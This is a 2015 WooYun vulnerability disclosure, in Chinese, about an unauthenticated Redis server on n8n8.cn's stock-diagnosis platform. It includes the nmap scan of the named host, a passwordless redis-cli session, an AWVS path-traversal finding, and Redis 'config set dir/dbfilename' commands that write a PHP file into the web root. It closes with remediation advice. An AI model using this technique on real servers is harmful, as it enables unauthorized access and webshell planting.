当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105096

漏洞标题:经传多盈个股诊断平台利用redis渗透案例

相关厂商:n8n8.cn

漏洞作者: 路人甲

提交时间:2015-03-31 23:06

修复时间:2015-05-15 23:08

公开时间:2015-05-15 23:08

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:13

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-31: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

redis不设防、不改默认端口危害也是蛮大的

详细说明:

1.使用nmap发现敏感端口6379

[root@ ~]# nmap -p- sj.n8n8.cn
Starting Nmap 5.21 ( http://nmap.org ) at 2015-03-31 22:27 CST
Nmap scan report for sj.n8n8.cn (121.14.36.117)
Host is up (0.010s latency).
Not shown: 65517 closed ports
PORT STATE SERVICE
80/tcp open http
...
1723/tcp filtered pptp
3306/tcp open mysql
...
6379/tcp open unknown
8080/tcp open http-proxy
...


2.尝试ping reids,发现无需认证

[root@ ~]# redis-cli -h 121.14.36.117 ping
PONG
...
redis 121.14.36.117:6379> info
# Server
redis_version:2.6.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_mode:standalone
os:Linux 2.6.18-274.12.1.el5 x86_64
....
# Memory
used_memory:2049257480
used_memory_human:1.91G
...


然后看到之前的例子 WooYun: 电信某服务器getshell可渗透内网(利用redis getshell案例) ,决定搞起,虽然是曾经玩过的CentOS,但是一开始set的时候,并无法确定有php解析的web目录,遂祭出AWVS。
(可以看到内存用得不少)
3.使用AWVS扫描发现漏洞所在

Path Fragment input / was set to ../../../../../../../../../../etc/passwd


awvs1.jpg


4.使用AWVS寻找root的crontab、nginx配置等感兴趣的内容(可以从根目录找起),后面发现nginx配置在/etc/nginx/vhost/目录下
遍历后发现/etc/nginx/vhost/memadmin.conf有php解析

awvs3.jpg


5.找到web目录redis渗透尝试开始
[root@ ~]# redis-cli -h 121.14.36.117
redis 121.14.36.117:6379> config set dir /opt/memadmin
redis 121.14.36.117:6379> config set dbfilename p.php
redis 121.14.36.117:6379> set t "<?php phpinfo(); ?>"
redis 121.14.36.117:6379> SAVE
6.本地增加hosts,访问刚写的p.php

121.14.36.117 memadmin.jz.biz


php.jpg


可以看到报错了,

Parse error: syntax error, unexpected T_STRING in /opt/memadmin/p.php on line 14282


7.收手,查看redis配置并将参数还原
本人猜想是php文件内容太多导致识别不到,由于是别人的生产环境,这里也不好flushall了再重复上面的流程,所以决定将参数还原。假定非生产环境,那么就先flushall,然后继续测试了。

漏洞证明:

1.redis 信息

redis.jpg


2.使用redis写入的php访问效果图

php.jpg


3.服务器上敏感信息

iptables.jpg


修复方案:

1.建议redis不使用默认端口,加上密码认证并在防火墙进行限制,控制好web目录的读写权限(redis使用普通用户启动);
2.过滤用户输入
/ 和 /css/ 目录都有可以遍历服务器的地方

awvs4.jpg

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)